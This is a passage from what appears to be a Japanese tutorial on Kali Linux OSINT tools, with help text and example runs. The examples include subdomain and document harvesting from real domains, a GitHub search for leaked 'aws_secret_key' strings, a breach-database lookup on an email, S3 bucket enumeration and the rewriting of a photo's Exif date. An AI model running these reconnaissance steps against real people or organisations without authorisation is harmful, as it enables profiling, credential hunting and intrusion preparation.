             l : Tag label (e.g. Exif.Photo.UserComment, 'User comment')
             d : Tag description
             n : Tag name (e.g. Exif.Photo.UserComment, UserComment)
             y : Type
             y : Type
             c : Number of components (count)
             s : Size in bytes of vanilla value (may include NULL)
             v : Plain data value of untranslated (vanilla)
             V : Plain data value, data type and the word 'set'
             t : Interpreted (translated) human readable values
             h : Hex dump of the data
   -d tgt1  Delete target(s) for the 'delete' action. Possible targets are:
             a : All supported metadata (the default)
             e : Exif tags
             t : Exif thumbnail only
             i : IPTC tags
             x : XMP tags
             c : JPEG comment
             C : ICC Profile
             c : All IPTC data (any broken multiple IPTC blocks)
             - : Input from stdin
   -i tgt2 Insert target(s) for the 'insert' action. Possible targets are
             a : All supported metadata (the default)
             e : Exif tags
             t : Exif thumbnail only (JPEGs only from <file>-thumb.jpg)
             i : IPTC tags
             x : XMP tags
             c : JPEG comment
             C : ICC Profile, from <file>.icc
             X : XMP sidecar from file <file>.xmp
             XX: "raw" metadata from <file>.exv. XMP default, optional Exif and IPTC
             - : Input from stdin
   -e tgt3 Extract target(s) for the 'extract' action. Possible targets
             a : All supported metadata (the default)
             e : Exif tags
             t : Exif thumbnail only (to <file>-thumb.jpg)
             i : IPTC tags
             x : XMP tags
             c : JPEG comment
             pN: Extract N\'th preview image to <file>-preview<N>.<ext>
             C : ICC Profile, to <file>.icc
             X : XMP sidecar to <file>.xmp
             XX: "raw" metadata to <file>.exv. XMP default, optional Exif and IPTC
             - : Output to stdin
   -r fmt  Filename format for the 'rename' action. The format string
           follows strftime(3). The following keywords are also supported:
             :basename:   - original filename without extension
             :dirname:    - name of the directory holding the original file
             :parentname: - name of parent directory
           Default 'fmt' is %Y%m%d_%H%M%S
   -c txt  JPEG comment string to set in the image.
   -m cmdf Applies commands in 'cmdf' file, for the modify action (see -M for format).
   -M cmd  Command line for the modify action. The format is:
           ( (set | add) <key> [[<type>] <value>] |
             del <key> [<type>] |
             reg prefix namespace )
   -l dir  Location (directory) for files to be inserted from or extracted to.
   -S suf Use suffix 'suf' for source files for insert action.

Examples:
   exiv2 -pe image.dng *.jp2
           Print all Exif tags in image.dng and all .jp2 files
   exiv2 -g date/i https://clanmills.com/Stonehenge.jpg
           Print all tags in file, where key contains 'date' (case insensitive)
   exiv2 -M"set Xmp.dc.subject XmpBag Sky" image.tiff
           Set (or add if missing) value to tag in file

■ 使用例

# 使用画像：https://github.com/ianare/exif-samples
# Exif情報を全て表示
root@kali:~# exiv2 -pe DSCN0010.jpg
Exif.Image.ImageDescription                  Ascii      32                                 
Exif.Image.Make                              Ascii       6  NIKON
Exif.Image.Model                             Ascii      14  COOLPIX P6000
Exif.Image.Orientation                       Short       1  1
Exif.Image.XResolution                       Rational    1  300/1
Exif.Image.YResolution                       Rational    1  300/1
[...]

# タグ名に"date"が含まれるものを表示
root@kali:~# exiv2 -g date/i DSCN0010.jpg
Exif.Image.DateTime                          Ascii      20  2008:11:01 21:15:07
Exif.Photo.DateTimeOriginal                  Ascii      20  2008:10:22 16:28:39
Exif.Photo.DateTimeDigitized                 Ascii      20  2008:10:22 16:28:39
Exif.GPSInfo.GPSDateStamp                    Ascii      11  2008:10:23

# Exif.Image.DateTimeを編集
root@kali:~# exiv2 -M "set Exif.Image.DateTime 2024:01:01 09:00:00" DSCN0010.jpg
root@kali:~# exiv2 -g date/i DSCN0010.jpg
Exif.Image.DateTime                          Ascii      20  2024:01:01 09:00:00
Exif.Photo.DateTimeOriginal                  Ascii      20  2008:10:22 16:28:39
Exif.Photo.DateTimeDigitized                 Ascii      20  2008:10:22 16:28:39
Exif.GPSInfo.GPSDateStamp                    Ascii      11  2008:10:23

EyeWitness

指定されたURLのスクリーンショットを取得します。

■ 使用方法

root@kali:~# eyewitness --help

usage: EyeWitness.py [--web] [-f Filename] [-x Filename.xml] [--single Single URL] [--no-dns] [--timeout Timeout] [--jitter # of Seconds] [--delay # of Seconds]
                     [--threads # of Threads] [--max-retries Max retries on a timeout] [-d Directory Name] [--results Hosts Per Page] [--no-prompt]
                     [--user-agent User Agent] [--difference Difference Threshold] [--proxy-ip 127.0.0.1] [--proxy-port 8080] [--proxy-type socks5]
                     [--show-selenium] [--resolve] [--add-http-ports ADD_HTTP_PORTS] [--add-https-ports ADD_HTTPS_PORTS] [--only-ports ONLY_PORTS]
                     [--prepend-https] [--selenium-log-path SELENIUM_LOG_PATH] [--cookies key1=value1,key2=value2] [--resume ew.db]

Protocols:
  --web                 HTTP Screenshot using Selenium

Input Options:
  -f Filename           Line-separated file containing URLs to capture
  -x Filename.xml       Nmap XML or .Nessus file
  --single Single URL   Single URL/Host to capture
  --no-dns              Skip DNS resolution when connecting to websites

Timing Options:
  --timeout Timeout     Maximum number of seconds to wait while requesting a web page (Default: 7)
  --jitter # of Seconds
                        Randomize URLs and add a random delay between requests
  --delay # of Seconds  Delay between the opening of the navigator and taking the screenshot
  --threads # of Threads
                        Number of threads to use while using file based input
  --max-retries Max retries on a timeout
                        Max retries on timeouts

Report Output Options:
  -d Directory Name     Directory name for report output
  --results Hosts Per Page
                        Number of Hosts per page of report
  --no-prompt           Don\'t prompt to open the report

Web Options:
  --user-agent User Agent
                        User Agent to use for all requests
  --difference Difference Threshold
                        Difference threshold when determining if user agent requests are close "enough" (Default: 50)
  --proxy-ip 127.0.0.1  IP of web proxy to go through
  --proxy-port 8080     Port of web proxy to go through
  --proxy-type socks5   Proxy type (socks5/http)
  --show-selenium       Show display for selenium
  --resolve             Resolve IP/Hostname for targets
  --add-http-ports ADD_HTTP_PORTS
                        Comma-separated additional port(s) to assume are http (e.g. '8018,8028')
  --add-https-ports ADD_HTTPS_PORTS
                        Comma-separated additional port(s) to assume are https (e.g. '8018,8028')
  --only-ports ONLY_PORTS
                        Comma-separated list of exclusive ports to use (e.g. '80,8080')
  --prepend-https       Prepend http:// and https:// to URLs without either
  --selenium-log-path SELENIUM_LOG_PATH
                        Selenium geckodriver log path
  --cookies key1=value1,key2=value2
                        Additional cookies to add to the request

Resume Options:
  --resume ew.db        Path to db file if you want to resume

■ 使用例

root@kali:~# eyewitness --web --single http://192.168.11.4
[*] Done! Report written in the /root/2024-10-03_065851 folder!
[...]

取得したスクリーンショット

getallurls

指定されたドメインのURLをAlienVault Open Threat Exchange、Wayback Machine、Common Crawlを使用して収集します。

■ 使用方法

root@kali:~# getallurls --help

Usage of getallurls:
  -json
        write output as json
  -o string
        filename to write results to
  -p string
        HTTP proxy to use
  -providers string
        providers to fetch urls for (default "wayback,otx,commoncrawl")
  -random-agent
        use random user-agent
  -retries uint
        amount of retries for http client (default 5)
  -subs
        include subdomains of target domain
  -v    enable verbose mode
  -version
        show gau version

■ 使用例

root@kali:~# getallurls ipa.go.jp | grep -e .*\.pdf$
https://www.ipa.go.jp/about/disclosure/ps6vr7000001thja-att/2024070101.pdf
https://www.ipa.go.jp/about/ipajoho/pdf/seifushussi.pdf
https://www.ipa.go.jp/about/ipanews/eid2eo0000002xfg-att/eid2eo0000002xg0.pdf
https://www.ipa.go.jp/about/ipanews/m42obm000000iv4x-att/security5kajou.pdf
https://www.ipa.go.jp/about/press/pdf/090106Press.pdf
https://www.ipa.go.jp/about/press/pdf/101202press_bessi.pdf
https://www.ipa.go.jp/about/press/pdf/120424_2press.pdf
https://www.ipa.go.jp/about/press/pdf/120424_2press2.pdf
[...]

goofile

Google検索を利用して指定したドメインのインデックスされているファイルを検索します。

■ 使用方法

root@kali:~# goofile --help

usage: goofile [-h] [-d DOMAIN] [-f FILETYPE] [-k KEY] [-e ENGINE] [-q QUERY] [--logging LOGGING]

options:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        the domain to search - optional (ie. kali.org
  -f FILETYPE, --filetype FILETYPE
                        the filetype to search for - required (ie. pdf)
  -k KEY, --key KEY     Google Custom Search Engine API key - optional
  -e ENGINE, --engine ENGINE
                        Google Custom Search Engine ID - optional
  -q QUERY, --query QUERY
                        Only search for files with keyword - optional
  --logging LOGGING     Set the logging verbosity to something other than "INFO" - optional

■ 使用例

root@kali:~# goofile -d ipa.go.jp -f pdf
Searching in ipa.go.jp for pdf
========================================

Files found:
====================

www.ipa.go.jp/archive/files/000063744.pdf
www.ipa.go.jp/archive/files/000052571.pdf
www.ipa.go.jp/archive/files/000066605.pdf
www.ipa.go.jp/archive/files/000063749.pdf
www.ipa.go.jp/archive/files/000066533.pdf
www.ipa.go.jp/archive/files/000004608.pdf
www.ipa.go.jp/archive/files/000072042.pdf
www.ipa.go.jp/archive/files/000072724.pdf
[...]

# Programmable Search Engineを使用
root@kali:~# goofile -d ipa.go.jp -f pdf -k <APIキー> -e <検索エンジンID> -q "一般競争入札"
Searching in ipa.go.jp for pdf
========================================

Files found:
====================

https://www.ipa.go.jp/archive/files/000083842.pdf
https://www.ipa.go.jp/choutatsu/nyusatsu/2024/eid2eo00000058ca-att/nyusatsu20240701-2qa.pdf
https://www.ipa.go.jp/choutatsu/nyusatsu/2024/m42obm000000igqh-att/nyusatsu20240604.pdf
https://www.ipa.go.jp/choutatsu/nyusatsu/2024/m42obm0000009dy6-att/nyusatsu20240416ga.pdf
https://www.ipa.go.jp/choutatsu/nyusatsu/2024/m42obm000000iuc2-att/nyusatsu20240607qa.pdf
https://www.ipa.go.jp/choutatsu/nyusatsu/2024/m42obm000000520e-att/nyusatsu20240404-9qa.pdf
https://www.ipa.go.jp/choutatsu/nyusatsu/2024/m42obm0000004y1e-att/nyusatsu20240404-5qa.pdf
https://www.ipa.go.jp/choutatsu/nyusatsu/2024/f55m8k000000977e-att/nyusatsu20240829-2ga.pdf
https://www.ipa.go.jp/choutatsu/nyusatsu/2024/eid2eo0000005v1q-att/nyusatsu20240704qa-2.pdf
[...]

gowitness

指定されたURLのスクリーンショットを取得します。

■ 使用方法

root@kali:~# gowitness --help

Usage:
  gowitness [command]

Available Commands:
  help        Help about any command
  report      Work with gowitness reports
  scan        Perform various scans
  version     Get the gowitness version

Flags:
  -D, --debug-log   Enable debug logging
  -h, --help        help for gowitness
  -q, --quiet       Silence (almost all) logging

root@kali:~# gowitness scan --help
Usage:
  gowitness scan [command]

Available Commands:
  cidr        Scan CIDR targets on a network
  file        Scan targets sourced from a file or stdin
  nessus      Scan targets from a Nessus XML file
  nmap        Scan targets from an Nmap XML file
  single      Scan a single URL target

Flags:
      --chrome-header strings      Extra headers to add to requests. Supports multiple --header flags
      --chrome-path string         The path to a Google Chrome binary to use (downloads a platform-appropriate binary by default)
      --chrome-proxy string        An HTTP/SOCKS5 proxy server to use. Specify the proxy using this format: proto://address:port
      --chrome-user-agent string   The user-agent string to use (default "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36")
      --chrome-window-x int        The Chrome browser window width, in pixels (default 1920)
      --chrome-window-y int        The Chrome browser window height, in pixels (default 1080)
      --chrome-wss-url string      A websocket URL to connect to a remote, already running Chrome DevTools instance (i.e., Chrome started with --remote-debugging-port)
      --delay int                  Number of seconds delay between navigation and screenshotting (default 3)
      --driver string              The scan driver to use. Can be one of [gorod, chromedp] (default "chromedp")
  -h, --help                       help for scan
      --javascript string          A JavaScript function to evaluate on every page, before a screenshot. Note: It must be a JavaScript function! e.g., () => console.log('gowitness');
      --javascript-file string     A file containing a JavaScript function to evaluate on every page, before a screenshot. See --javascript
      --log-scan-errors            Log scan errors (timeouts, DNS errors, etc.) to stderr (warning: can be verbose!)
      --save-content               Save content from network requests to the configured writers. WARNING: This flag has the potential to make your storage explode in size
      --screenshot-format string   Format to save screenshots as. Valid formats are: jpeg, png (default "jpeg")
      --screenshot-fullpage        Do full-page screenshots, instead of just the viewport
  -s, --screenshot-path string     Path to store screenshots (default "./screenshots")
      --screenshot-skip-save       Do not save screenshots to the screenshot-path (useful together with --write-screenshots)
      --skip-html                  Don\'t include the first request\'s HTML response when writing results
  -t, --threads int                Number of concurrent threads (goroutines) to use (default 6)
  -T, --timeout int                Number of seconds before considering a page timed out (default 60)
      --uri-filter strings         Valid URIs to pass to the scanning process (default [http,https])
      --write-csv                  Write results as CSV (has limited columns)
      --write-csv-file string      The file to write CSV rows to (default "gowitness.csv")
      --write-db                   Write results to a SQLite database
      --write-db-enable-debug      Enable database query debug logging (warning: verbose!)
      --write-db-uri string        The database URI to use. Supports SQLite, Postgres, and MySQL (e.g., postgres://user:pass@host:port/db) (default "sqlite://gowitness.sqlite3")
      --write-jsonl                Write results as JSON lines
      --write-jsonl-file string    The file to write JSON lines to (default "gowitness.jsonl")
      --write-screenshots          Store screenshots with writers in addition to filesystem storage
      --write-stdout               Write successful results to stdout (usefull in a shell pipeline)

Global Flags:
  -D, --debug-log   Enable debug logging
  -q, --quiet       Silence (almost all) logging

■ 使用例

root@kali:~# gowitness scan single --url http://192.168.11.4 --screenshot-format png
2024/10/10 11:50:34 WARN no writers have been configured. to persist probe results, add writers using --write-* flags
2024/10/10 11:50:43 INFO result 🤖 target=http://192.168.11.4 status-code=200 title=EC-CUBE SHOP / TOPページ have-screenshot=true

出力結果

h8mail

下記のデータ侵害データベース/サービスを横断検索してデータ侵害の有無をチェックします。

HaveIBeenPwned
Hunter.io
Snusbase
Leak-Lookup
Emailrep.io
Dehashed.com
IntelX.io

■ 使用方法

root@kali:~# h8mail --help

usage: h8mail [-h] [-t USER_TARGETS [USER_TARGETS ...]] [-u USER_URLS [USER_URLS ...]] [-q USER_QUERY] [--loose]
              [-c CONFIG_FILE [CONFIG_FILE ...]] [-o OUTPUT_FILE] [-j OUTPUT_JSON] [-bc BC_PATH] [-sk] [-k CLI_APIKEYS [CLI_APIKEYS ...]]
              [-lb LOCAL_BREACH_SRC [LOCAL_BREACH_SRC ...]] [-gz LOCAL_GZIP_SRC [LOCAL_GZIP_SRC ...]] [-sf] [-ch [CHASE_LIMIT]]
              [--power-chase] [--hide] [--debug] [--gen-config]

options:
  -h, --help            show this help message and exit
  -t USER_TARGETS [USER_TARGETS ...], --targets USER_TARGETS [USER_TARGETS ...]
                        Either string inputs or files. Supports email pattern matching from input or file, filepath globing and multiple
                        arguments
  -u USER_URLS [USER_URLS ...], --url USER_URLS [USER_URLS ...]
                        Either string inputs or files. Supports URL pattern matching from input or file, filepath globing and multiple
                        arguments. Parse URLs page for emails. Requires http:// or https:// in URL.
  -q USER_QUERY, --custom-query USER_QUERY
                        Perform a custom query. Supports username, password, ip, hash, domain. Performs an implicit "loose" search when
                        searching locally
  --loose               Allow loose search by disabling email pattern recognition. Use spaces as pattern seperators
  -c CONFIG_FILE [CONFIG_FILE ...], --config CONFIG_FILE [CONFIG_FILE ...]
                        Configuration file for API keys. Accepts keys from Snusbase, WeLeakInfo, Leak-Lookup, HaveIBeenPwned, Emailrep,
                        Dehashed and hunterio
  -o OUTPUT_FILE, --output OUTPUT_FILE
                        File to write CSV output
  -j OUTPUT_JSON, --json OUTPUT_JSON
                        File to write JSON output
  -bc BC_PATH, --breachcomp BC_PATH
                        Path to the breachcompilation torrent folder. Uses the query.sh script included in the torrent
  -sk, --skip-defaults  Skips Scylla and HunterIO check. Ideal for local scans
  -k CLI_APIKEYS [CLI_APIKEYS ...], --apikey CLI_APIKEYS [CLI_APIKEYS ...]
                        Pass config options. Supported format: "K=V,K=V"
  -lb LOCAL_BREACH_SRC [LOCAL_BREACH_SRC ...], --local-breach LOCAL_BREACH_SRC [LOCAL_BREACH_SRC ...]
                        Local cleartext breaches to scan for targets. Uses multiprocesses, one separate process per file, on separate worker
                        pool by arguments. Supports file or folder as input, and filepath globing
  -gz LOCAL_GZIP_SRC [LOCAL_GZIP_SRC ...], --gzip LOCAL_GZIP_SRC [LOCAL_GZIP_SRC ...]
                        Local tar.gz (gzip) compressed breaches to scans for targets. Uses multiprocesses, one separate process per file.
                        Supports file or folder as input, and filepath globing. Looks for 'gz' in filename
  -sf, --single-file    If breach contains big cleartext or tar.gz files, set this flag to view the progress bar. Disables concurrent file
                        searching for stability
  -ch [CHASE_LIMIT], --chase [CHASE_LIMIT]
                        Add related emails from hunter.io to ongoing target list. Define number of emails per target to chase. Requires
                        hunter.io private API key if used without power-chase
  --power-chase         Add related emails from ALL API services to ongoing target list. Use with --chase
  --hide                Only shows the first 4 characters of found passwords to output. Ideal for demonstrations
  --debug               Print request debug information
  --gen-config, -g      Generates a configuration file template in the current working directory & exits. Will overwrite existing
                        h8mail_config.ini file

■ 使用例

# Leak-Lookupを使用して検索
root@kali:~# h8mail -t ****@****.com -k "leak-lookup_pub=<APIキー>"

[>] Targets:
[>] ****@****.com
[>] Found leak-lookup_pub configuration key
[~] scylla.so is down, skipping
[~] Target factory started for ****@****.com
[~] [****@****.com]>[hunter.io public]
[>] Found 0 related emails for ****@****.com using hunter.io (public)
[~] [****@****.com]>[leaklookup public]
[>] Found 16 entries for ****@****.com using LeakLookup (public)

 __________________________________________________________________________________________

[>] Showing results for ****@****.com
LEAKLOOKUP_PUB |        ****@****.com > canva.com
LEAKLOOKUP_PUB |        ****@****.com > collection-1
LEAKLOOKUP_PUB |        ****@****.com > collection-4-eu
LEAKLOOKUP_PUB |        ****@****.com > collection-4-u
LEAKLOOKUP_PUB |        ****@****.com > bit.ly
LEAKLOOKUP_PUB |        ****@****.com > dropbox.com
LEAKLOOKUP_PUB |        ****@****.com > peatix.com
LEAKLOOKUP_PUB |        ****@****.com > trello.com
LEAKLOOKUP_PUB |        ****@****.com > tumblr.com
LEAKLOOKUP_PUB |        ****@****.com > twitter.com
__________________________________________________________________________________________



                                   Session Recap:


                 Target                  |                   Status
__________________________________________________________________________________________

           ****@****.com             |          Breach Found (10 elements)
__________________________________________________________________________________________

Maltego

インターネット上の様々なオープンデータ（DNS、IPアドレス、検索エンジン、SNS、ShodanやCensysなど100以上の外部サービスとの連携）を検出し可視化します。

■ 使用例

対象のドメインをもとにWebサイトやIPアドレス、開いているポートなどを可視化

無償で利用可能なコミュニティエディションはMaltego Graphの標準トランスフォーマーのみのサポートとなります。外部サービスとの連携には別途ライセンスの購入が必要です。

OWASP Maryam

インターネット上の様々なオープンデータを収集します。

■ 使用方法

root@kali:~# maryam
[maryam][default] > help

Commands (type [help|?] <topic>):
---------------------------------
exit            Exits the framework
help            Displays this menu
reload          Reloads all modules
report          Get report from the Gathers and save it to the other formats
search          Searches available modules
set             Sets module options
shell           Executes shell commands
show            Shows various framework items
unset           Unsets module options
update          Update modules via module name
web             Manage web/api interface
workspaces      Manages workspaces

[maryam][default] > show modules

  Osint
  -----
    social_nets
    tweet_search
    email_pwned
    crawler
    cve_search
    suggest
    image_search
    username_search
    onion_search
    email_search
    dark_web_crawler
    phone_number_search
    famous_person
    docs_search
    cloud_storage
    domain_reputation
    dns_search
    github_leaks
    article_search

  Footprint
  ---------
    tldbrute
    entry_points
    crawl_pages
    filebrute
    dnsbrute

  Search
  ------
    crt
    reddit
    pubmed
    telegram
    pastebin
    stackoverflow
    tiktok
    instagram
    scholar
    bing
    sanctionsearch
    quora
    yahoo
    sepiasearch
    etools
    wikileaks
    spotify
    twitter
    github
    dictionary
    wikipedia
    arxiv
    google
    trello
    duckduckgo
    discord
    linkedin
    photon
    facebook
    youtube
    piratebay
    startpage

  Iris
  ----
    topicmodeling
    sentiment
    cluster
    iris_cluster
    iris

■ 使用例

root@kali:~# maryam
[maryam][default] > dns_search -d qiita.com
[*] [OTX] Searching in otx.alienvault...
[*] [SECTRAILS] Enumerating dns records...
[*] HOSTNAMES
[*]     terminated.qiita.com
[*]     ads.qiita.com
[*]     corp.qiita.com
[*]     slack.teams.qiita.com
[*]     net-marketing.qiita.com
[*]     staging.qiita.com
[*]     plus.jobs.qiita.com
[*]     teams.qiita.com
[*]     jobs.qiita.com

[maryam][default] > github --query aws_secret_key --engine google --api --format
{
    "repositories": [
        "https://github.com/six2dez/burp-bounty-profiles",
        "https://github.com/aws/aws-sdk-java",
        "https://github.com/shellphish/ictf-framework",
        "https://github.com/aws/aws-sdk-go",
        "https://github.com/terraform-providers/terraform-provider-terraform",
        "https://github.com/getredash/redash",
        [...]
    ],
    "blogs": [
        "gist.github.com"
    ],
    "usernames": [
        "Casecommons",
        "terraform-providers",
        "awslabs",
        [...]
    ],
    "emails": []
}

# コマンドを直接実行することも可能
root@kali:~# maryam -e github --query aws_secret_key --engine google --api --format

Metagoofil

ウェブサイト上で公開されている特定の種類のファイルをGoogleで検索してダウンロードします。

■ 使用方法

root@kali:~# metagoofil --help

usage: metagoofil.py [-h] -d DOMAIN [-e DELAY] [-f [SAVE_FILE]] [-i URL_TIMEOUT] [-l SEARCH_MAX] [-n DOWNLOAD_FILE_LIMIT] [-o SAVE_DIRECTORY]
                     [-r NUMBER_OF_THREADS] -t FILE_TYPES [-u [USER_AGENT]] [-w]

options:
  -h, --help            show this help message and exit
  -d DOMAIN             Domain to search.
  -e DELAY              Delay (in seconds) between searches. If it\'s too small Google may block your IP, too big and your search may take a
                        while. Default: 30.0
  -f [SAVE_FILE]        Save the html links to a file.
                        no -f = Do not save links
                        -f = Save links to html_links_<TIMESTAMP>.txt
                        -f SAVE_FILE = Save links to SAVE_FILE
  -i URL_TIMEOUT        Number of seconds to wait before timeout for unreachable/stale pages. Default: 15
  -l SEARCH_MAX         Maximum results to search. Default: 100
  -n DOWNLOAD_FILE_LIMIT
                        Maximum number of files to download per filetype. Default: 100
  -o SAVE_DIRECTORY     Directory to save downloaded files. Default is current working directory, "."
  -r NUMBER_OF_THREADS  Number of downloader threads. Default: 8
  -t FILE_TYPES         file_types to download (pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx). To search all 17,576 three-letter file extensions,
                        type "ALL"
  -u [USER_AGENT]       User-Agent for file retrieval against -d domain.
                        no -u = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
                        -u = Randomize User-Agent
                        -u "My custom user agent 2.0" = Your customized User-Agent
  -w                    Download the files, instead of just viewing search results.

■ 使用例

root@kali:~# metagoofil -d www.ipa.go.jp -n 10 -t pdf -o pdf -w
[*] Downloaded files will be saved here: pdf
[*] Searching for 100 .pdf files and waiting 30.0 seconds between searches
[+] Downloading "000063749.pdf" [444492 bytes] from: https://www.ipa.go.jp/archive/files/000063749.pdf
[+] Downloading "000066605.pdf" [1209946 bytes] from: https://www.ipa.go.jp/archive/files/000066605.pdf
[...]

ReconSpider

インターネット上に公開されているさまざまなソースから情報を見つけるためのOSINTフレームワークです。

■ 使用方法

root@kali:~# reconspider

ENTER 0 - 13 TO SELECT OPTIONS

1.  IP                           Enumerate  information  from  IP Address
2.  DOMAIN                       Gather  information  about  given DOMAIN
3.  PHONENUMBER                  Gather  information  about   Phonenumber
4.  DNS MAP                      Map DNS  records associated  with target
5.  METADATA                     Extract all metadata of  the  given file
6.  REVERSE IMAGE SEARCH         Obtain domain name or IP address mapping
7.  HONEYPOT                     Check if it\'s honeypot or a real  system
8.  MAC ADDRESS LOOKUP           Obtain information about give Macaddress
9.  IPHEATMAP                    Draw  out  heatmap  of  locations  of IP
10. TORRENT                      Gather torrent download  history  of  IP
11. USERNAME                     Extract Account info. from social  media
12. IP2PROXY                     Check whether  IP  uses  any VPN / PROXY
13. MAIL BREACH                  Checks given domain  has  breached  Mail

0. EXIT                         Exit from  ReconSpider  to your terminal

■ 使用例

root@kali:~# reconspider

Reconspider >> 1
IP >> 8.8.8.8

[+] Gathering IP Address Information from [shodan]

IP Address ----> 8.8.8.8
Country -------> United States
City ----------> Mountain View
Organization --> Google LLC
ISP -----------> Google LLC
Open ports ----> [443, 53]

Reconspider >> 2
HOST (URL / IP) >> example.com
PORT >> 80

Target Alive

1. ReverseIP
2. SubDomain
3. nsLookup
4. CMSDetect
5. PortScan
6. Bruteforce
7. ClickJacking
8. CORS
9. Host Header Injection
10. Header
11. Crawler
12. Whoami
99. Exit

Domain >> 12
Domain Name:EXAMPLE.COM
Register:RESERVED-Internet Assigned Numbers Authority
Whois Server:whois.iana.org
Server:['A.IANA-SERVERS.NET', 'B.IANA-SERVERS.NET']
Emails:None
Organisation:None
Address:None
City:None
State:None
'zipcode'
Country:None

S3Scanner

指定したバケット名をもとにAWS、GCP、DigitalOcean、Linodeなどのクラウドプロバイダーのオブジェクトストレージからバケットの有無や権限設定をチェックします。

■ 使用方法

root@kali:~# s3scanner --help

INPUT: (1 required)
  -bucket        string  Name of bucket to check.
  -bucket-file   string  File of bucket names to check.
  -mq                    Connect to RabbitMQ to get buckets. Requires config file key "mq". Default: "false"

OUTPUT:
  -db       Save results to a Postgres database. Requires config file key "db.uri". Default: "false"
  -json     Print logs to stdout in JSON format instead of human-readable. Default: "false"

OPTIONS:
  -enumerate           Enumerate bucket objects (can be time-consuming). Default: "false"
  -provider    string  Object storage provider: aws, custom, digitalocean, dreamhost, gcp, linode - custom requires config file. Default: "aws"
  -threads     int     Number of threads to scan with. Default: "4"

DEBUG:
  -verbose     Enable verbose logging. Default: "false"
  -version     Print version Default: "false"

■ 使用例

# hello,worldの２つの単語から単語リストを作成
root@kali:~# echo -e "hello\nworld" | rsmangler -t -T -c -u -l -s -e -i -C --punctuation --file - --output buckets.txt
# 単語リストをもとにAWS S3のスキャンを実行
root@kali:~# s3scanner -bucket-file buckets.txt -provider aws -enumerate
INFO invalid   | hw
INFO exists    | world | us-west-2 | AuthUsers: [] | AllUsers: []
INFO exists    | hello | ap-south-1 | AuthUsers: [] | AllUsers: []
INFO exists    | helloworld | us-east-1 | AuthUsers: [] | AllUsers: []
INFO exists    | worldhello | eu-west-1 | AuthUsers: [] | AllUsers: []
INFO not_exist | olleh
INFO not_exist | 1990hello
INFO not_exist | hello1990
INFO not_exist | 1991hello
INFO not_exist | hello1991
INFO exists    | hellohello | us-east-2 | AuthUsers: [] | AllUsers: []
INFO not_exist | hello1992
INFO not_exist | 1992hello
INFO not_exist | 1993hello
INFO not_exist | hello1993
[...]
INFO exists    | hello2018 | ap-south-1 | AuthUsers: [] | AllUsers: [READ, READ_ACP] | 2 objects (486 kB)
INFO exists    | hello2019 | us-east-1 | AuthUsers: [] | AllUsers: []
INFO exists    | hello2020 | us-east-1 | AuthUsers: [] | AllUsers: []
[...]
INFO not_exist | 122hw
INFO not_exist | 123hw
INFO not_exist | hw122
INFO exists    | hw121 | us-east-1 | AuthUsers: [] | AllUsers: []
INFO exists    | hw123 | ap-northeast-2 | AuthUsers: [] | AllUsers: []

Sherlock

指定されたユーザー名に該当するSNSアカウントを400以上のソーシャルメディアから検索します。

■ 使用方法

root@kali:~# sherlock --help

usage: sherlock [-h] [--version] [--verbose] [--folderoutput FOLDEROUTPUT] [--output OUTPUT] [--tor] [--unique-tor] [--csv] [--xlsx]
                [--site SITE_NAME] [--proxy PROXY_URL] [--dump-response] [--json JSON_FILE] [--timeout TIMEOUT] [--print-all] [--print-found]
                [--no-color] [--browse] [--local] [--nsfw]
                USERNAMES [USERNAMES ...]

positional arguments:
  USERNAMES             One or more usernames to check with social networks. Check similar usernames using {?} (replace to '_', '-', '.').

options:
  -h, --help            show this help message and exit
  --version             Display version information and dependencies.
  --verbose, -v, -d, --debug
                        Display extra debugging information and metrics.
  --folderoutput FOLDEROUTPUT, -fo FOLDEROUTPUT
                        If using multiple usernames, the output of the results will be saved to this folder.
  --output OUTPUT, -o OUTPUT
                        If using single username, the output of the result will be saved to this file.
  --tor, -t             Make requests over Tor; increases runtime; requires Tor to be installed and in system path.
  --unique-tor, -u      Make requests over Tor with new Tor circuit after each request; increases runtime; requires Tor to be installed and in
                        system path.
  --csv                 Create Comma-Separated Values (CSV) File.
  --xlsx                Create the standard file for the modern Microsoft Excel spreadsheet (xlsx).
  --site SITE_NAME      Limit analysis to just the listed sites. Add multiple options to specify more than one site.
  --proxy PROXY_URL, -p PROXY_URL
                        Make requests over a proxy. e.g. socks5://127.0.0.1:1080
  --dump-response       Dump the HTTP response to stdout for targeted debugging.
  --json JSON_FILE, -j JSON_FILE
                        Load data from a JSON file or an online, valid, JSON file.
  --timeout TIMEOUT     Time (in seconds) to wait for response to requests (Default: 60)
  --print-all           Output sites where the username was not found.
  --print-found         Output sites where the username was found (also if exported as file).
  --no-color            Don\'t color terminal output
  --browse, -b          Browse to all results on default browser.
  --local, -l           Force the use of the local data.json file.
  --nsfw                Include checking of NSFW sites from default list.

■ 使用例

root@kali:~# sherlock helloworld
[*] Checking username helloworld on:

[+] 1337x: https://www.1337x.to/user/helloworld/
[+] 7Cups: https://www.7cups.com/@helloworld
[+] 8tracks: https://8tracks.com/helloworld
[+] 9GAG: https://www.9gag.com/u/helloworld
[+] About.me: https://about.me/helloworld
[...]
[+] note: https://note.com/helloworld
[+] npm: https://www.npmjs.com/~helloworld
[+] opennet: https://www.opennet.ru/~helloworld
[+] osu!: https://osu.ppy.sh/users/helloworld
[+] phpRU: https://php.ru/forum/members/?username=helloworld
[+] pikabu: https://pikabu.ru/@helloworld
[+] pr0gramm: https://pr0gramm.com/user/helloworld
[+] social.tchncs.de: https://social.tchncs.de/@helloworld

[*] Search completed with 253 results

sn0int

半自動OSINTフレームワークです。サブドメインの収集やSNSのプロフィール情報の収集などを行います。

■ 使用方法

root@kali:~# sn0int --help
Usage: sn0int [OPTIONS] [COMMAND]

Commands:
  run          Run a module directly
  sandbox      For internal use
  login        Login to the registry for publishing
  new          Create a new module
  publish      Publish a script to the registry
  install      Install a module from the registry
  search       Search in the registry
  pkg          The sn0int package manager
  add          Insert into the database
  select       Select from the database
  delete       Delete from the database
  activity     Query logged activity
  scope        Include entities in the scope
  noscope      Exclude entities from scope
  autoscope    Manage autoscope rules
  autonoscope  Manage autonoscope rules
  rescope      Rescope all entities based on autonoscope rules
  workspace    Manage workspaces
  cal          Calendar
  notify       Notify
  fsck         Verify blob storage for corrupt and dangling blobs
  export       Export a workspace for external processing
